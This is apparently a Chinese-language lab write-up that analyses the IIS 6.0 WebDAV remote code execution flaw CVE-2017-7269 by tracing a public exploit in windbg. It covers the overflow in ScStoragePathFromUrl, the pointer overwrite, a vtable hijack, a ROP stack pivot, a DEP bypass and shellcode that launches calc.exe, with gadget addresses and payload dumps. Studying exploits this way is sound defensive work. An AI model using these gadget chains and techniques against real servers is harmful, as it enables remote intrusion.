学着分析CVE-2017-7269 -- IIS 6.0 WebDAV远程代码执行漏洞

这里面要分析的代码相对我以前分析的是比较多的
参考:http://bobao.360.cn/learning/detail/3664.html

简介

CVE编号:CVE-2017-7269
漏洞级别:严重
漏洞影响:Windows Server 2003 r2 IIS6.0
漏洞发现人:Zhiniang Peng和Chen Wu(华南理工大学信息安全实验室,计算机科学与工程学院)
漏洞类型:缓冲区溢出(ScStoragePathFromUrl 函数)
exp来源:https://github.com/edwardz246003/IIS_exploit/

实验环境

Windows Server 2003 r2
IIS 6.0
procexp
windbg
IDA
mona

漏洞分析

首先要打开WebDAV扩展

这里写图片描述

运行一下exp,成功执行Shellcode,看到计算器进程(注意应该是由于父进程w3wp是没有图形界面,所以计算机是不会弹出来的)

这里写图片描述

windbg附加,发送payload,竟然触发了异常了哦,下次附加竟然没出现,下次的第一次附加又出现了,不懂
在我截出来的下面的最后一行,我们看到了漏洞函数

0:016> g
(d08.d2c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000009c ebx=000ad290 ecx=012db770 edx=00000000 esi=00000000 edi=00000000
eip=68026821 esp=012db718 ebp=012db718 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
rsaenh!LocateAlgorithm+0x12:
68026821 8b08            mov     ecx,dword ptr [eax]  ds:0023:0000009c=????????
0:006> kv
ChildEBP RetAddr  Args to Child              
012db718 68026874 0000009c 00006801 012db744 rsaenh!LocateAlgorithm+0x12 (FPO: [Non-Fpo])
012db728 68008b05 0000009c 00006801 00000028 rsaenh!IsLegalLength+0x17 (FPO: [Non-Fpo])
012db744 68008b7c 00000000 00006801 00000005 rsaenh!FIsLegalKeySize+0x52 (FPO: [Non-Fpo])
012db764 680070e2 000ad290 00000000 00000001 rsaenh!FIsLegalKey+0x2a (FPO: [Non-Fpo])
012db798 6800732b e3507c7c e35065c4 e35743bc rsaenh!LocalDecrypt+0x11f (FPO: [Non-Fpo])
012db7c4 77f3f702 e3507c7c e35065c4 e35743bc rsaenh!CPDecrypt+0x22 (FPO: [Non-Fpo])
012db828 56b993f5 000ae730 000e0be0 00000001 ADVAPI32!CryptDecrypt+0x91 (FPO: [Non-Fpo])
012db854 56b97720 012db8ac 012db8b0 012db8a0 ADMWPROX!IISCryptoDecryptDataBlob+0xb2 (FPO: [Non-Fpo])
012db878 56b94f69 012db8ac 012db8b0 012db8a0 ADMWPROX!IIS_CRYPTO_STORAGE::DecryptData+0x1f (FPO: [Non-Fpo])
012db8d4 64a3183f 000a61a4 00000012 012def30 ADMWPROX!IMSAdminBaseW_GetAllData_Proxy+0x8a (FPO: [Non-Fpo])
012db914 5a63d9a3 012def30 00000003 00000002 IISUTIL!MB::GetAll+0x34 (FPO: [Non-Fpo])
012de718 5a63ec1e 01be9a34 012dec98 012de8d8 w3core!W3_METADATA::ReadMetaData+0x140 (FPO: [Non-Fpo])
012de734 5a63eb7d 0132c688 012dec98 012de780 w3core!W3_METADATA_CACHE::CreateNewMetaData+0x8f (FPO: [Non-Fpo])
012de8b4 5a63b04e 0132c688 012dec98 012de8d8 w3core!W3_METADATA_CACHE::GetMetaData+0x166 (FPO: [Non-Fpo])
012de8dc 5a63afcf 0132c688 012dec98 012de9e4 w3core!W3_URL_INFO_CACHE::CreateNewUrlInfo+0x3f (FPO: [Non-Fpo])
012dec20 5a639aa0 0132c688 012dec98 012dec3c w3core!W3_URL_INFO_CACHE::GetUrlInfo+0x26a (FPO: [Non-Fpo])
012dec40 5a670fe3 0132c688 012dec98 012decc8 w3core!W3_STATE_URLINFO::MapPath+0x24 (FPO: [Non-Fpo])
012df244 5a5c9237 0132d8b8 0106f7f0 00000130 w3core!ISAPI_REQUEST::MapPathEx+0xe1 (FPO: [Non-Fpo])
012df288 5a5c1967 0132d948 0106f7f0 012df31c w3isapi!SSFMapUnicodeUrlToPathEx+0xf0 (FPO: [Non-Fpo])
012df2fc 673f66c3 0132d948 00000400 0106f7f0 w3isapi!ServerSupportFunction+0x4a9 (FPO: [Non-Fpo])
012df320 673f6d06 0106f7f0 012df35c 0106ed58 httpext!IEcbBase::ScReqMapUrlToPathEx60After+0x2b (FPO: [Non-Fpo])
012df798 673e9469 012df804 012df800 00000000 httpext!ScStoragePathFromUrl+0x8b (FPO: [Non-Fpo])
......

我们还是直接对httpext!ScStoragePathFromUrl下断吧,

我们看一下前面的调用

0:005> g
Breakpoint 1 hit
eax=028df800 ebx=027a48e8 ecx=027a0c08 edx=027a4ff0 esi=00000000 edi=77ba8ef2
eip=673f6c7b esp=028df79c ebp=028df7ac iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
httpext!ScStoragePathFromUrl:
673f6c7b b8150d4167      mov     eax,offset httpext!swscanf+0x14b5 (67410d15)
0:019> kv
ChildEBP RetAddr  Args to Child              
028df798 673e9469 028df804 028df800 00000000 httpext!ScStoragePathFromUrl (FPO: [Non-Fpo])
028df7ac 673f544a 027a4ff0 028df804 028df800 httpext!CMethUtil::ScStoragePathFromUrl+0x18 (FPO: [Non-Fpo])
028dfc34 673f561e 027a48e8 027a366e 028dfc78 httpext!HrCheckIfHeader+0x124 (FPO: [Non-Fpo])

有个httpext!HrCheckIfHeader,过去看看,这个函数有可能调用了两次httpext!ScStoragePathFromUrl(是可能一次循环调用两次,只要v5为非0)

......
      v5 = CMethUtil::ScStoragePathFromUrl(a1, v32, Str, &v27);
      if ( v5 == 1 )
      {
        if ( !CStackBuffer<unsigned short,260>::resize(v27) )
        {
LABEL_35:
          LOBYTE(v34) = 1;
          CStackBuffer<char,260>::release(&v31);
          v5 = -2147024882;
          goto LABEL_39;
        }
        v5 = CMethUtil::ScStoragePathFromUrl(a1, v32, Str, &v27);
      }
......

我们继续看看ScStoragePathFromUrl函数

首先一进来就看到GS保护了,这次的溢出漏洞利用应该不简单

httpext!ScStoragePathFromUrl:
673f6c7b b8150d4167      mov     eax,offset httpext!swscanf+0x14b5 (67410d15)
673f6c80 e803100000      call    httpext!_EH_prolog (673f7c88)
673f6c85 81ec50040000    sub     esp,450h
673f6c8b a1c0704167      mov     eax,dword ptr [httpext!__security_cookie (674170c0)]
673f6c90 8945f0          mov     dword ptr [ebp-10h],eax

单步单步,首先我们注意到了一个计算目录长度的,计算出的长度是0x97(下面没贴出来),暂时不明白aaaaaaa后面的怎么来的,跟我们的payload有差别(请看小标题—还有一问题就是payload传到服务器发生了什么变化

0:008> p
eax=01e6f480 ebx=01e6ed58 ecx=01e6c680 edx=01e6f480 esi=01e6d968 edi=00000000
eip=673f6ce9 esp=012df32c ebp=012df798 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
httpext!ScStoragePathFromUrl+0x6e:
673f6ce9 ff1550123e67    call    dword ptr [httpext!_imp__wcslen (673e1250)] ds:0023:673e1250={msvcrt!wcslen (77ba8ef2)}
0:008> dc eax
01e6f480  0061002f 00610061 00610061 00610061  /.a.a.a.a.a.a.a.
01e6f490  78636f68 71337761 47726936 4b777a39  hocxaw3q6irG9zwK
01e6f4a0  75534f70 48687a4f 6d545663 39536845  pOSuOzhHcVTmEhS9
01e6f4b0  5567506c 33646763 78454630 54316952  lPgUcgd30FExRi1T
01e6f4c0  6a514c58 42317241 58507035 6c473664  XLQjAr1B5pPXd6Gl
01e6f4d0  546a3539 54435034 50617752 6d4b3232  95jT4PCTRwaP22Km
01e6f4e0  32476c34 374d6241 58625161 52504773  4lG2AbM7aQbXsGPR
01e6f4f0  75443670 3374686a 786b4e4a 4e734976  p6Dujht3JNkxvIsN

继续,下面这个根据名字应该是,将url转化为本机路径

eax=012df35c ebx=00000097 ecx=01e6d968 edx=01e6f480 esi=01e6d968 edi=00000000
eip=673f6d01 esp=012df328 ebp=012df798 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
httpext!ScStoragePathFromUrl+0x86:
673f6d01 e853ffffff      call    httpext!IEcbBase::ScReqMapUrlToPathEx (673f6c59)

好像确实转化为C:Inetpubwwwroot目录的了

0:008> dc ebp-444
012df354  01e6f480 012df40c 003a0063 0069005c  ......-.c.:..i.
012df364  0065006e 00700074 00620075 0077005c  n.e.t.p.u.b..w.
012df374  00770077 006f0072 0074006f 0061005c  w.w.r.o.o.t..a.
012df384  00610061 00610061 00610061 78636f68  a.a.a.a.a.a.hocx
012df394  71337761 47726936 4b777a39 75534f70  aw3q6irG9zwKpOSu
012df3a4  48687a4f 6d545663 39536845 5567506c  OzhHcVTmEhS9lPgU
012df3b4  33646763 78454630 54316952 6a514c58  cgd30FExRi1TXLQj
012df3c4  42317241 58507035 6c473664 546a3539  Ar1B5pPXd6Gl95jT

第一次没进入memcpy那个else那里,第二次才进入了,第一个memcpy,长度0x9*4(因为dword),我们看到拷贝的地址是edi=028df804>ebp=028df798,所以这是上层函数的局部变量

我们看到拷贝的结果是哪个web的目录

0:019> p
eax=00000024 ebx=00000097 ecx=00000009 edx=00000024 esi=028df35c edi=028df804
eip=673f6faf esp=028df330 ebp=028df798 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
httpext!ScStoragePathFromUrl+0x334:
673f6faf f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:019> p
eax=00000024 ebx=00000097 ecx=00000000 edx=00000024 esi=028df380 edi=028df828
eip=673f6fb1 esp=028df330 ebp=028df798 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
httpext!ScStoragePathFromUrl+0x336:
673f6fb1 8bca            mov     ecx,edx
0:019> dc 028df804 L9
028df804  003a0063 0069005c 0065006e 00700074  c.:..i.n.e.t.p.
028df814  00620075 0077005c 00770077 006f0072  u.b..w.w.w.r.o.
028df824  0074006f                             o.t.

继续,第二个memcpy没拷贝,因为ecx为0
继续第三个,拷贝长度0x130(0x4c*4),而且我们回溯发现我们复制的目的地址是上层函数httpext!HrCheckIfHeader传过来的Str(传过来的值为012df804),漏洞作者肯定不会覆盖到GS结构的(所以长度不会太长),我们再看看,发现上层函数中指向Str的指针存于栈上,那么这次的复制会不会把这个指针覆盖了呢
wchar_t *Str; // [sp+14Ch] [bp-328h]@9

0:008> p
eax=00000130 ebx=00000097 ecx=0000004c edx=012df804 esi=01e6f480 edi=012df828
eip=673f6fdb esp=012df330 ebp=012df798 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
httpext!ScStoragePathFromUrl+0x360:
673f6fdb f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

我们跟到CMethUtil::ScStoragePathFromUrl函数返回出来后,会再次引用Str,我们看到这里的[ebp-328h](028df90c)已经被改为680312c0(那确实是这样了,因为 012df800+0x130 > 028df90c)

0:019> p
eax=00000000 ebx=027a48e8 ecx=00005430 edx=028df804 esi=00000000 edi=77ba8ef2
eip=673f548e esp=028df7c0 ebp=028dfc34 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
httpext!HrCheckIfHeader+0x168:
673f548e ffb5d8fcffff    push    dword ptr [ebp-328h] ss:0023:028df90c=680312c0
0:019> p
eax=00000000 ebx=027a48e8 ecx=00005430 edx=028df804 esi=00000000 edi=77ba8ef2
eip=673f5494 esp=028df7bc ebp=028dfc34 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
httpext!HrCheckIfHeader+0x16e:
673f5494 ffd7            call    edi {msvcrt!wcslen (77ba8ef2)}

我们看看这个地址是rsaenh模块的地址

0:019> !address 680312c0


Failed to map Heaps (error 80004005)
Usage:                  Image
Allocation Base:        68000000
Base Address:           68031000
End Address:            68032000
Region Size:            00001000
Type:                   01000000    MEM_IMAGE
State:                  00001000    MEM_COMMIT
Protect:                00000040    PAGE_EXECUTE_READWRITE
More info:              lmv m rsaenh
More info:              !lmi rsaenh
More info:              ln 0x680312c0

那么假如到后面再次回到ScStoragePathFromUrl复制时,就会复制到680312c0了,while循环到底会不会再执行一次呢,继续看吧

下面是HrCheckIfHeader函数中(ida f5的话在148行左右),这里的v26因为被上面的for循环置1了,所以能进入这个if语句,PszNextToken是寻找<开头的url还是啥的(里面有个对<的判断),找不到应该就返回0了,重点是进入了这个if,最终执行了continue语句,回到while循环处,PszNextToken返回又不为0,从而可以再次执行ScStoragePathFromUrl

其实我们看汇编的话是只要v26为1,就会跳到673F539C(v6 = IFITER::PszNextToken((int)&v20, 0);),即while循环的上一句,这里说明ida的反编译跟我们读汇编有点不一样,当其实意思上是一致的

if ( v26 )
{
  v6 = IFITER::PszNextToken((int)&v20, 1);
  continue;
}
0:008> g
Breakpoint 2 hit
eax=00000024 ebx=000002fd ecx=00000009 edx=00000024 esi=012df35c edi=680312c0
eip=673f6faf esp=012df330 ebp=012df798 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
httpext!ScStoragePathFromUrl+0x334:
673f6faf f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

那我们看看第二次进入,除去域名,后面的长度很长:0x2fd

0:019> p
eax=027a6f98 ebx=027a48e8 ecx=027a36c8 edx=027a6f98 esi=027a0c08 edi=00000000
eip=673f6ce9 esp=028df32c ebp=028df798 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
httpext!ScStoragePathFromUrl+0x6e:
673f6ce9 ff1550123e67    call    dword ptr [httpext!_imp__wcslen (673e1250)] ds:0023:673e1250={msvcrt!wcslen (77ba8ef2)}
0:019> dc eax
027a6f98  0062002f 00620062 00620062 00620062  /.b.b.b.b.b.b.b.
027a6fa8  61757948 6f674f43 48456b6f 67753646  HyuaCOgookEHF6ug
027a6fb8  38714433 5a625765 56615435 6a536952  3Dq8eWbZ5TaVRiSj
027a6fc8  384e5157 63555948 43644971 34686472  WQN8HYUcqIdCrdh4
027a6fd8  71794758 6b55336b 504f6d48 34717a46  XGyqk3UkHmOPFzq4
027a6fe8  74436f54 6f6f5956 34577341 7a726168  ToCtVYooAsW4harz
027a6ff8  4d493745 5448574e 367a4c38 62663572  E7IMNWHT8Lz6r5fb
027a7008  486d6e43 61773548 61744d5a 43654133  CnmHH5waZMta3AeC
0:019> p
eax=000002fd ebx=027a48e8 ecx=027a0000 edx=027a6f98 esi=027a0c08 edi=00000000
eip=673f6cef esp=028df32c ebp=028df798 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
httpext!ScStoragePathFromUrl+0x74:
673f6cef 59              pop     ecx

继续,但是由于第一次的覆盖,这次复制的目的地址是一个堆空间,就绕过了GS了,而且我们可以复制的数目可以很多

一开始还是复制web在本地的目录

eax=00000024 ebx=000002fd ecx=00000009 edx=00000024 esi=028df35c edi=680312c0
eip=673f6faf esp=028df330 ebp=028df798 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
httpext!ScStoragePathFromUrl+0x334:
673f6faf f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:019> p
eax=00000024 ebx=000002fd ecx=00000000 edx=00000024 esi=028df380 edi=680312e4
eip=673f6fb1 esp=028df330 ebp=028df798 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
httpext!ScStoragePathFromUrl+0x336:
673f6fb1 8bca            mov     ecx,edx
0:019> dc 680312c0
680312c0  003a0063 0069005c 0065006e 00700074  c.:..i.n.e.t.p.
680312d0  00620075 0077005c 00770077 006f0072  u.b..w.w.w.r.o.
680312e0  0074006f 7c821a60 680313a0 00080000  o.t.`..|...h....
680312f0  00000000 77b9b1f4 00000020 00000004  .......w .......
68031300  00011314 6803124c 00080000 680313d8  ....L..h.......h
68031310  7c958270 7c959f60 ffffffff 7c959f59  p..|`..|....Y..|
68031320  7c949014 00080000 00000000 000a3958  ...|........X9..
68031330  7ffd8000 00000006 000af948 680313e8  ........H......h

接下来就会将ROP gadget,Shellcode什么的也复制到路径后面了

0:019> p
eax=000005fc ebx=000002fd ecx=0000017f edx=680312c0 esi=027a6f98 edi=680312e4
eip=673f6fdb esp=028df330 ebp=028df798 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
httpext!ScStoragePathFromUrl+0x360:
673f6fdb f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:019> dc 680312e4
680312e4  7c821a60 680313a0 00080000 00000000  `..|...h........
680312f4  77b9b1f4 00000020 00000004 00011314  ...w ...........
68031304  6803124c 00080000 680313d8 7c958270  L..h.......hp..|
68031314  7c959f60 ffffffff 7c959f59 7c949014  `..|....Y..|...|
68031324  00080000 00000000 000a3958 7ffd8000  ........X9......
68031334  00000006 000af948 680313e8 7c94927b  ....H......h{..|
68031344  000a3958 7c949264 680124e3 7ffd8000  X9..d..|.$.h....
68031354  0a2a1de0 77e3a576 00000d68 00007530  ..*.v..wh...0u..
0:019> p
eax=000005fc ebx=000002fd ecx=00000000 edx=680312c0 esi=027a7594 edi=680318e0
eip=673f6fdd esp=028df330 ebp=028df798 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
httpext!ScStoragePathFromUrl+0x362:
673f6fdd 8bc8            mov     ecx,eax

那680312c0这个地址是不是储存着函数指针呢,我们继续跟踪

我们发现又回到了ScStoragePathFromUrl函数,不过这次的上层调用来源于httpext!CParseLockTokenHeader::HrGetLockIdForPath
这里跟上次的流程几乎一样,不过这里只复制了aaa…那个,没有复制bbb…,而且复制的目的地址跟我们上面的不一样,这里应该是没有什么用的,主要是用于调用ScStripAndCheckHttpPrefix函数,劫持控制流的

0:019> p
Breakpoint 1 hit
eax=028df9a4 ebx=028dfbe8 ecx=027a0c08 edx=027a4e10 esi=028dfc28 edi=00000104
eip=673f6c7b esp=028df940 ebp=028df950 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
httpext!ScStoragePathFromUrl:
673f6c7b b8150d4167      mov     eax,offset httpext!swscanf+0x14b5 (67410d15)
0:019> kv
ChildEBP RetAddr  Args to Child              
028df93c 673e9469 028dfab4 028df9a4 00000000 httpext!ScStoragePathFromUrl+0x5 (FPO: [Non-Fpo])
028df950 673f5740 027a4e10 028dfab4 028df9a4 httpext!CMethUtil::ScStoragePathFromUrl+0x18 (FPO: [Non-Fpo])
028dfbd0 673eaba9 027a366e 80000000 028dfc28 httpext!CParseLockTokenHeader::HrGetLockIdForPath+0x119 (FPO: [Non-Fpo])
028dfc3c 673ef68e 027a48e8 027a366e 80000000 httpext!FGetLockHandle+0x40 (FPO: [Non-Fpo])
028dfc78 673ef7c5 027a4938 028dfcd4 674104e2 httpext!CPropFindRequest::Execute+0x125 (FPO: [Non-Fpo])
028dfc90 673f96f2 027a4938 00000004 01329a68 httpext!DAVPropFind+0x47 (FPO: [Non-Fpo])
028dfce0 673e7bc6 027a3a50 027a48e8 01329a68 httpext!CDAVExt::DwMain+0x12e (FPO: [Non-Fpo])
028dfe04 5a5c2991 01329a68 013287a8 013293f8 httpext!DwDavFSExtensionProc+0x3f (FPO: [Non-Fpo])
......

跟着下面就到了ScStripAndCheckHttpPrefix这里吗调用IEcb虚表里面的函数,如下,对象的首地址就在680313c0

0:006> p
eax=0125f9a4 ebx=0125fbe8 ecx=680313c0 edx=0125f4f8 esi=027a9d70 edi=00000000
eip=674035e6 esp=0125f4b8 ebp=0125f4d0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x11:
674035e6 8bf9            mov     edi,ecx
0:006> p
eax=0125f9a4 ebx=0125fbe8 ecx=680313c0 edx=0125f4f8 esi=027a9d70 edi=680313c0
eip=674035e8 esp=0125f4b8 ebp=0125f4d0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x13:
674035e8 8b07            mov     eax,dword ptr [edi]  ds:0023:680313c0=680313c0
......
......
0:006> p
eax=680313c0 ebx=0125fbe8 ecx=680313c0 edx=0125f4f8 esi=027a9d70 edi=680313c0
eip=674035f3 esp=0125f4b4 ebp=0125f4d0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x1e:
674035f3 ff5024          call    dword ptr [eax+24h]  ds:0023:680313e4=68016082

跟着就来到下面这个设置的rop地址,将ecx复制给esp(stack pivot,栈翻转),这样我们才能进行rop,而这里eax,ecx都是可控的,作者使用了ecx

68016082 8be1            mov     esp,ecx
68016084 8b08            mov     ecx,dword ptr [eax]
68016086 8b4004          mov     eax,dword ptr [eax+4]
68016089 50              push    eax
6801608a c3              ret

利用当前gadget,再执行[eax+4] = [680313c4] = 68006e4f 地址的gadget

通过68006e4f这个gadget就跳过了一开始用来控制程序流程的关键地址680313e4
674035f3 ff5024 call dword ptr [eax+24h] ds:0023:680313e4=68016082

68006e4f 5e              pop     esi
68006e50 5d              pop     ebp
68006e51 c22000          ret     20h

继续,这是为了传0x40给eax吧

6800b113 6a40            push    40h
6800b115 eb0e            jmp     rsaenh!GetHashLength+0x39 (6800b125)

就跳到下面来了

6800b125 58              pop     eax
6800b126 5d              pop     ebp
6800b127 c20400          ret     4

上面设置了ebp后就下面给esp了

680129e7 c9              leave
680129e8 c3              ret

之后KiFastSystemCall,据说这是利用SharedUserData bypass DEP的一环。看到执行完就到了弹计算器的Shellcode了

0:006> t
eax=0000008f ebx=7ffe0300 ecx=680313c0 edx=0125f4f8 esi=68031460 edi=680124e3
eip=680124e3 esp=68031400 ebp=6e6f3176 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
rsaenh!HmacCheck+0x2c3:
680124e3 ff23            jmp     dword ptr [ebx]      ds:0023:7ffe0300={ntdll!KiFastSystemCall (7c9585e8)}
0:006> p
eax=0000008f ebx=7ffe0300 ecx=680313c0 edx=0125f4f8 esi=68031460 edi=680124e3
eip=7c9585e8 esp=68031400 ebp=6e6f3176 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!KiFastSystemCall:
7c9585e8 8bd4            mov     edx,esp
0:006> p
eax=0000008f ebx=7ffe0300 ecx=680313c0 edx=68031400 esi=68031460 edi=680124e3
eip=7c9585ea esp=68031400 ebp=6e6f3176 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!KiFastSystemCall+0x2:
7c9585ea 0f34            sysenter
0:006> p
eax=c00000f1 ebx=7ffe0300 ecx=00000001 edx=ffffffff esi=68031460 edi=680124e3
eip=68031460 esp=68031404 ebp=6e6f3176 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
rsaenh!g_pfnFree+0x1a4:
68031460 56              push    esi

到最后执行winexec

0:006> p
eax=7c86411e ebx=7ffe0300 ecx=68031614 edx=876f8b31 esi=68031460 edi=680124e3
eip=680315fa esp=680313f8 ebp=68031581 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
rsaenh!g_pfnFree+0x33e:
680315fa ffe0            jmp     eax {kernel32!WinExec (7c86411e)}
0:006> dd esp
680313f8  68031614 68031633 00000001 0000001b
68031408  006d1fe0 ffff0023 6803046e 00000040
68031418  68031434 680129e7 68009391 666e3931
68031428  30524955 766b546b 7961724a 6803141c
68031438  68006e05 79687732 366c4d69 4d704468
68031448  68008246 32534877 68021daa 43356f6a
68031458  680313f8 680129e7 00560028 00410059
68031468  00340034 00340034 00340034 00340034
0:006> dc 68031633 l2
68031633  636c6163 6578652e                    calc.exe

还有一问题,就是payload传到服务器发生了什么变化

我们发现除了开头的aaa…,bbb…能对应上之外,下面的字符串都看不出payload的影子

经过艰难的调试,我找到的接收payload缓冲区的地方

ChainedStringBuffer<char>::Append 函数内
(怎么找到的呢,根据那个堆地址在哪里申请的,跟着不断对那些申请内存下写入断点,这样子往上找了好几层终于找到了)

里面有qmemcpy

0:020> p
Breakpoint 7 hit
eax=09fd89a8 ebx=673e2028 ecx=00000194 edx=00000655 esi=09fd69ac edi=09fd89ac
eip=673ec325 esp=09f5f620 ebp=09f5f628 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
httpext!ChainedStringBuffer<char>::Append+0x20:
673ec325 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:020> p
eax=09fd89a8 ebx=673e2028 ecx=00000000 edx=00000655 esi=09fd6ffc edi=09fd8ffc
eip=673ec327 esp=09f5f620 ebp=09f5f628 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
httpext!ChainedStringBuffer<char>::Append+0x22:
673ec327 8bca            mov     ecx,edx
0:020> p
eax=09fd89a8 ebx=673e2028 ecx=00000655 edx=00000655 esi=09fd6ffc edi=09fd8ffc
eip=673ec329 esp=09f5f620 ebp=09f5f628 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
httpext!ChainedStringBuffer<char>::Append+0x24:
673ec329 83e103          and     ecx,3
0:020> p
eax=09fd89a8 ebx=673e2028 ecx=00000001 edx=00000655 esi=09fd6ffc edi=09fd8ffc
eip=673ec32c esp=09f5f620 ebp=09f5f628 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
httpext!ChainedStringBuffer<char>::Append+0x27:
673ec32c f3a4            rep movs byte ptr es:[edi],byte ptr [esi]

其实首先接受是Content-Length

0:003> dc 0a00efc0
0a00efc0  746e6f43 2d746e65 676e654c c0006874  Content-Length..
0a00efd0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0  ................
0a00efe0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0  ................
0a00eff0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0  ................

我们看看拷贝后的字符串,确实看到了我们payload的影子

0:020> dc 09fd8998 L 1a0
09fd8998  00000000 00000655 00000655 09fd89a8  ....U...U.......
09fd89a8  7474683c 2f2f3a70 61636f6c 736f686c  <http://localhos
09fd89b8  61612f74 61616161 a8bde661 e7a3a1e7  t/aaaaaaa.......
09fd89c8  84e7a19d b6a4e6b3 e7b29de4 ade4b9a8  ................
09fd89d8  b0bde4b7 e79395e7 a1e48fa9 a399e5a8  ................
09fd89e8  e694b5e6 a5e385a1 ac81e593 e6a795e5  ................
09fd89f8  8de3a39d b098e4a4 e685a1e7 90e592a5  ................
09fd8a08  98b1e4b1 e791a9e6 88e48189 b580e7b1  ................
09fd8a18  e390a1e5 b1e6a499 b994e387 e5aa91e5  ................
09fd8a28  91e5b480 929de783 e3a181e5 b5e6b288  ................
09fd8a38  b4b0e68b e68789e3 9de38189 a185e58d  ................
09fd8a48  e4a2a1e5 89e5b39d b099e390 e68495e7  ................
09fd8a58  8de3aaa1 8ab9e4b4 e4aba1e7 b9e4b6a5  ................
09fd8a68  aab1e4b3 e6ba9de5 a1e5b1bd b088e38a  ................
09fd8a78  e4ae9de3 89e589ad a3a1e48d e78cbde6  ................
09fd8a88  95e79695 af99e6b5 e4a899e7 81e58d91  ................
09fd8a98  b6a8e7b0 e68b89e6 95e79795 b2a9e690  ................
09fd8aa8  e7aba9e7 99e7a29d 8889e698 e3b194e6  ................
09fd8ab8  b1e69481 8a81e5b9 e5a291e5 95e3b380  ................
09fd8ac8  b7a9e6b7 e38485e4 91e6b48c 86b5e4b6  ................
09fd8ad8  e49499e5 95e6ac9d b298e783 e5b889e7  ................
09fd8ae8  8ce4a99d b289e6b8 e5b0a8e5 91e5b8a4  ................
09fd8af8  c882c888 808be182 e683a0e6 89e584b1  ................
09fd8b08  b7ace496 e4adb1e6 a1e598bd 90a5e79a  ................
09fd8b18  e5aaa5e4 a9e48fa1 9085e492 e18d99e6  ................
09fd8b28  a0e6808f b4a0e483 e6b194e6 b9e683bd  ................
09fd8b38  8191e7a6 e1ac8de4 a0e6808f 838de583  ................
09fd8b48  e781a9e6 8ce39281 a6a1e5b0 e78c89e4  ................
09fd8b58  8de68b81 b385e586 e781a5e7 a9e490a9  ................
09fd8b68  28203eac 20746f4e 636f6c3c 6b6f746b  .> (Not <locktok
09fd8b78  773a6e65 65746972 20293e31 7474683c  en:write1>) <htt
09fd8b88  2f2f3a70 61636f6c 736f686c 62622f74  p://localhost/bb
09fd8b98  62626262 88a5e762 e4b585e6 bde683bd  bbbbb...........
09fd8ba8  afade6a7 e385a1e4 9de68699 b390e4b5  ................
09fd8bb8  e5b1a1e3 a9e5a59d b590e5a2 e6a199e5  ................
